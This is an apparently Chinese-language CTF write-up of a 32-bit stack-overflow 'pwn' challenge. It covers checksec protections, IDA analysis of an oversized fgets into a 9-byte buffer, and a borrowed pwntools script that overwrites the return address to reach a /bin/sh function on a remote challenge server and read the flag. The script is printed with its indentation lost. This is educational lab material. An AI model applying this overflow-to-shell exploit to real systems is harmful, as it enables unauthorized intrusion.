题目信息nc一下可以判断出是32位
![](https://i-blog.csdnimg.cn/blog_migrate/e16f22a66ca493bc90d59c60e55968ba.png)
![](https://i-blog.csdnimg.cn/blog_migrate/d9a2732a1014ba9f03392777d325fc51.png)
(查询得到的资料)
RELRO
Partial (部分)RELRO容易受到攻击
RELRO(ReLocation Read-Only)机制的提出就是为了解决延迟绑定的安全问题,它最初于2004年由Redhat的工程师Jakub Jelínek实现,它将符号重定向表设置为只读,或者在程序启动时就解析并绑定所有动态符号,从而避免GOT上的地址被篡改
STACK CANARY
No canary found没有防溢出(没有栈堆保护)
NX
NX enabled 如果这个保护开启就是意味着栈中数据没有执行权限,如此一来,当攻击者在堆栈上部署自己的shellcode并触发时,这会直接造成程序的崩溃,但是可以利用rop这种方法绕过
PIE
Linux 平台下还有地址空间分布随机化(ASLR)的机制。简单来说即使可执行文件开启了 PIE 保护,还需要系统开启 ASLR 才会真正打乱基址,否则程序运行时依旧会在加载一个固定的基址上(不过和 No PIE 时基址不同)。而这里是No PIE,没有这个保护
将这个运行文件用IDA打开(IDA分为32和64位,32位的就对应32位的IDA)
F5进行反汇编转换成C语言,查看主函数
![](https://i-blog.csdnimg.cn/blog_migrate/96d29b782c22e4f97437bba8ff662ef2.png)
左侧有个pwnme函数(算是提示吧),查看一下
![](https://i-blog.csdnimg.cn/blog_migrate/03b5a4ded4f7cc058e24b13b292df854.png)
中间有个fget函数,点击查看该函数
![](https://i-blog.csdnimg.cn/blog_migrate/7f8e6fe533df3ee6f94bfb2f221ab172.png)
这个函数的意思即对于传入的而数组s,从stdin文件中输入50个字节
但是可以看到在pwnme中char s的定义是9字节,有溢出(栈的溢出问题)
栈的溢出原理:
利用栈溢出,覆盖地址,去我们想要执行函数的地址,从而绕过一些操作
利用方式:覆盖程序的返回地址为攻击者所控制的地址,比如该地址为执行shellcode的地址shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,可以让攻击者获得shell,利用pwntools可自动生成。
点击char s[9],可以找到s[9]的地址
![](https://i-blog.csdnimg.cn/blog_migrate/8ffe19f9b238fee8fb1a2882608af271.png)
在+00000004处,有个r,搜索可知r即为ret
(ret指令是从堆栈中退出pc的高8位和低8位字节,把堆栈指针减2,从pc值处开始继续执行程序。) 可以通过输入9字节沾满s的大小,然后+4覆盖ret,让其去到我们想要到的地址,去执行我们想要执行的函数。
查看别的函数,发现stack函数里面有/bin/sh,涉及到linux指令
搜索发现,执行了这个命令后,我们可以执行一些命令获得stack文件中的我们想要的信息
![](https://i-blog.csdnimg.cn/blog_migrate/a488e839cbe000622bccfd402e417ff2.png)
stack的执行地址是0804850F
![](https://i-blog.csdnimg.cn/blog_migrate/714943056e64fdc8ae50472e79d25184.png)
然后行写脚本(别人写的)
from pwn import *
contect=1
def main():
if contect==0:
p=process("./stack")
else:
p=remote("pwn.challenge.ctf.show",28103)
payload=b'a'*13
payload+=p32(0X804850F)
p.sendline(payload)
p.interactive()
main()
在kali中运行这个文件,并ls查看这个程序下的文件,看到有个flag文件
![](https://i-blog.csdnimg.cn/blog_migrate/14fcdf67ab81a3c8e2c5b4d491b65895.png)
cat打开即可获得flag
![](https://i-blog.csdnimg.cn/blog_migrate/543e2ef239625fffe34fbb9cd7a426ca.png)
(第一次写pwn的题目,很懵,但懂得了pwn题的一点点做法)
原创:Back~~